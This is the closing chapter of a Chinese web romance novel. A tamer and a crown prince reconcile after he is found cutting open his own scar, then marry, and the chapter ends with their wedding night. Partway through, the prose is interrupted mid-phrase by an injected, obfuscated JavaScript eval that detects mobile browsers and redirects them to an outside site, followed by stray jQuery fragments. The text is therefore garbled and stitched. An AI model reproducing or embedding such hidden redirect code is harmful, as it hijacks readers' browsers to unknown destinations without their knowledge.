41. 第 41 章

作品:《黑莲驯师她专驯各种不服

    掀开帐帘,她看见裴璟霄身穿常服斜倚着床榻。


    数日不见,果然又清减了不少。


    她眉尖不觉微微蹙起。


    裴璟霄却无事人似的吩咐侍卫看茶,一面便要起身下床。


    花半夏才要阻止,忽被一阵咳嗽声打断。


    像是怕过病气给她,裴璟霄拿帕子掩着口,低闷沙哑的嗓音从中透出来,似有内伤。


    他每咳一声,花半夏心便跟着一抽。


    对面,裴璟霄边咳边冷眼打量站在床边的女人:朱唇莹润,柳眉微蹙,秋水般的明眸中盛着他的倒影。


    她轻拍他后背的手温温热热,几根发丝不时擦过他的面颊,带着丝丝清甜与淡淡药香,轻而易举便能勾起他心底的燥热。


    “怎么又反复了?”


    “无事,想必过几日便好。”裴璟霄说着又咳起来,待帕子拿开,上面赫然几道浅浅的血丝。


    花半夏盯着帕子上的血迹轻轻抽了口气。


    这个男人频频因她受伤,此番真要落下病根,叫她如何走得心安?


    *


    从裴璟霄帐中出来,花半夏想到今日觅得的孢子粉。


    既是灵药,自己该再多采些回来才是。


    想到此物能帮裴璟霄恢复,第二日清早她便又背上药匣,带着阿花进入大山。


    这个时节,天不到酉时便黑了。


    这次花半夏收集了满满一大包菌粉,顾不得男女之防,一回来便冒着沉沉夜色去给裴璟霄送药。


    路过军医处时碰上裴璟霄的侍卫小吴从药房出来。他说殿下已经睡下了。


    为能让裴璟霄尽早用上药粉,花半夏将用法用量交代给小吴后仍不放心:“那个,我想再过去看一眼殿下……你放心,我把东西放下便走,绝不会惊扰殿下。”


    作为裴璟霄的贴身亲随,小吴比任何人都清楚自家殿下的心思。


    他巴不得花半夏住在那顶帐篷里才好。那样殿下心情一好,他们也能跟着有好日子过不是?


    所以他一听这话立刻痛快地将花半夏领到帐外,还示意门口守卫不得出声打扰。


    花半夏轻手轻脚地掀开帐帘,进门的刹那看到前方的一幕,表情却瞬间凝固。


    昏暗的灯光下,裴璟霄衣襟半敞,背靠着床头,手中握着一柄利刃,正一点点刺进心口的伤疤。


    血肉模糊画面直看得花半夏手一哆嗦,那包药粉随即掉在了地上,发出窒闷的轻响。


    裴璟霄当即察觉,蓦地转头朝她望来,本就没什么血色的脸更显惨白。


    “你……为何要这么做?”花半夏听见自己颤声问。


    裴璟霄一言不发地垂下手臂,虚弱中带了几分颓丧。


    看他衣襟上仍在渗血,花半夏眉心一皱,捡起地上的药包急步上前。


    一言不发地帮他止血,擦药,包扎……


    边做这些事,她心中却边止不住泛起酸涩。


    究竟是什么样的执念会让他一遍遍割开旧伤,残忍自戕……裴璟霄他是不是疯了?


    面前的男人低眉不语,鸦羽般的长睫低垂,掩住眼底的情绪。


    这会儿只是老老实实任由她摆布。


    片刻后他低哑的嗓音像自语,又像叹息:“你为什么就是不肯告诉我?”


    “不告诉你什么?”这话问得没头没脑,花半夏一时有点懵。


    裴璟霄却仍是自顾自说道,“其实,江晓生都与我说了。”


    *


    数日前,北境迎来今岁第一场雪的那天。


    在一片营区的空场上,猛禽走兽星罗棋布。花半夏坐在一把交椅上,远远看着江晓生指挥着众驯师忙碌。


    她受伤这段时日,江晓生替她做起这些事来已是游刃有余。


    细小的雪片像灰扑扑的小朵鸭绒,悄无声息地落在花半夏的发丝与石青色披风上。


    她将目光移向远处连绵的山脉,想到回京已经指日可待。


    “总管还有何指示?”江晓生忙完一阵子,小跑过来请示花半夏。


    花半夏笑着冲他摇摇头,“做得不错,以后回京也要日日如此。”


    江晓生随口答应一声,继而觉出不对,怔然望着她:“花总管这是何意?”


    “回京后我打算向圣人请辞,离开万生坊。”她语气依旧清清凌凌,平淡无波。


    江晓生却听得浑身一僵,表情更加困惑:“为、为何?”


    花半夏缓缓站起身,目光放空盯着无边无际的落雪:“当初我进入万生坊本就为了复仇,如今大仇得报,心事已了,已经没有继续留在万生坊的理由。”


    她这番话江晓生一时有些难以接受,他却明白花半夏是个有主张之人。


    瞧她神情,心知无法挽留,“……那你今后有何打算?”


    江晓生心中既有不舍,也有不甘。


    “或许会开家药房,偶尔上山采药,给人瞧瞧病,倒也不失为一桩乐事。”


    “那殿下呢?你和殿下怎么办?”


    “殿下与我身份悬殊,高低不就,况且他是未来的君主,日后身边三宫六院,岂会差我一个?”


    一语听得江晓生心里满不是滋味,又总觉得哪里不对劲,“那殿下知晓你要走么?”


    “尚不知。”花半夏任由雪花落在脸庞,泛起一片晶莹。


    *


    “我想等你伤势好些之后再……”帅帐中,花半夏想对裴璟霄解释。


    “等我好一些,能承受得住了再告诉我是吗?”裴璟霄打断了她,深潭般的眸子定定望着她。


    像害怕触碰那道清澈易碎的目光,花半夏垂下眼,但终是点了点头。


    面前传来一声低低的苦笑,“我倒想知道,自己究竟要好成什么样,才能承受得住你离我而去。”


    花半夏手指不自觉抽动了一下,喉咙像被什么堵住了,一时说不出一个字。


    裴璟霄:“你不喜欢当驯师,不做便是;若不喜欢圈禁野兽,我去求父皇放了它们便是;不喜欢身份悬殊,这太子之位我不要便是;你不喜欢三宫六院,刚好我也容不得你我之间再有别人。入主宫中也好,流连市井也好,归隐山林也好,今生今世能否让我陪你一起?”


    他说话间花半夏的心忽然重重一跳,里面像有什么轰然裂开,慢慢融化……


    尽管极力控制,她的视线还是越来越模糊。


    仿佛害怕她处理完伤口便会走开,男人微凉的手指紧紧抓住她的手,低哑的声音透着小心翼翼:“是不是我的伤晚好一天,你便可多留一日?若是永远都好不了……”


    后面的话他未能继续,双唇骤然被一片温软封住。


    “我答应你,不走便是……”


    裴璟霄闻言怔了一瞬,溢满水雾的眸色浓黑如墨。


    仿佛不知疼痛般,他不顾胸前有伤将花半夏扣在怀中,继续加深了这个吻。


    *


    三个月后,帝京城中,薛庭章因结党、滥杀、弑君谋逆数罪并罚,被判当街问斩。


    其大批党羽被接连牵出,依法收到严惩。


    元熙帝命太子携肱骨之臣整顿纲纪,肃清朝野。


    又半年,天下河清海晏,日渐清平。


    期间帝因病退位,称太上皇,传位于太子裴璟霄。


    新帝登基后不久隆重迎娶了前万生坊总管花半夏为后。


    一时间举国欢庆,龙凤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065071|160081||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呈祥。


    时年冬月,作为喜房的凤藻宫地龙烧得滚烫,烘得室内温暖如春。


    一套繁琐的婚仪流程走完,花半夏坐在凤藻宫喜榻上等裴璟霄回来。


    她的里衣几乎被汗水浸透,湿哒哒黏在身上。


    待裴璟霄揭去喜帕,她叫他先去沐浴,自己则坐在妆台前,由侍女帮着卸下沉重的凤冠与层层仪服。


    直到进入沐殿,整个人才彻底松了一口气。


    温热的浴汤溢满浓郁花香,花半夏将身躯浸没其中,顿觉每个毛孔都松弛舒缓。


    浴后更换睡袍,织物炽烈的红与肌肤冷感的白带来鲜明的冲击,衣服贴身的裁剪与轻薄软滑的衣料,令身姿起伏纤毫毕现。


    这一幕直看得花半夏双颊发烫。


    寝殿内外红烛照彻,亮如白昼。


    宽大的喜床上,裴璟霄边静候佳人,边盯着床角处他适才揭下的喜帕。


    片刻后,他心念一动。


    突然想知道花半夏上次那样蒙着眼等他是什么感觉。


    这念头一起,他不禁有些心痒,指尖动了动,忍不住顺手抓过喜帕盖在头上。


    将自己当成一件礼物送给她——这主意似乎也不错。


    殿外响起轻如雪片的脚步声。


    裴璟霄眼睛看不见,想象力却迅速膨胀,仿佛能清楚地看见花半夏趿拉着软鞋一步步朝他走来。


    一颗心轻轻提起来,他竟莫名紧张得患得患失……


    喉结一滚,裴璟霄视线落在脚下的汉白玉地砖上。


    下一瞬,四只毛烘烘的爪子映入眼帘。


    裴璟霄吓得低呼一声,蓦地一把扯下喜帕:面前是与他面面相觑的猎豹阿花。


    他被这厮吓了个人仰马翻,口中哀怨地嘀咕:“早知道宫中的野兽便该一个不留才是。”


    阿花叼起喜帕得意地朝他仰了仰脑袋。


    当初裴璟霄将花毯子盖在它头上时,人家也是这么咬着玩的。


    对面的裴璟霄直看得咬牙切齿:“你还真是随你主子,有仇必报啊!”


    门口传来一串银铃般的笑声,花半夏不知何时沐浴归来,依着门框望着前方的一人一豹,笑得花枝乱颤。


    阿花叼着喜帕自顾自在一旁玩耍,裴璟霄则身子半仰,手肘支着床榻。


    大红的金丝龙纹喜袍衣襟微敞,越发衬得他肤白如玉,薄滑的衣料下胸肌紧实,腰肢劲窄……


    花半夏忍不住轻咬下朱唇,出声支走了阿花。


    门扉在她身后紧紧合上。


    随着关门声响起,裴璟霄的心也跟着重重一跳,继而越跳越快。


    眼前朝他走来的女子一头墨发如海藻般散开,更衬得她仅有巴掌大小脸莹白如玉,本就精致明艳的五官越发醒目,玲珑姣好的身姿在轻薄的睡袍下若隐若现……


    当真美得令人心悸……


    她轻晃着柔软的腰肢,不紧不慢朝他靠近,低眸俯视着他的眼神恰似能驾驭一切、驯服一切的王者。


    事实也是如此。


    裴璟霄忍不住在心里轻叹,此生他永远只为她一人臣服。


    龙飞凤舞的大红喜帐外,烛火摇曳,蜜蜡泣露;帐内被翻红浪,春色无边……


    花半夏已有些分不清梦与现实。


    恍惚间似又回到大山脚下,她和裴璟云的那场生死对峙。


    彼时她身受重伤,失去意识前一瞬,她看见裴璟霄脚步踉跄着向她奔来。


    在他背后绵延着十万大山,神秘美丽,生机盎然……


    曾经,她以为复仇便是她的整个世界,直到那一刻才猛然发现,除了复仇,她还拥有整个世界。


    (全文完)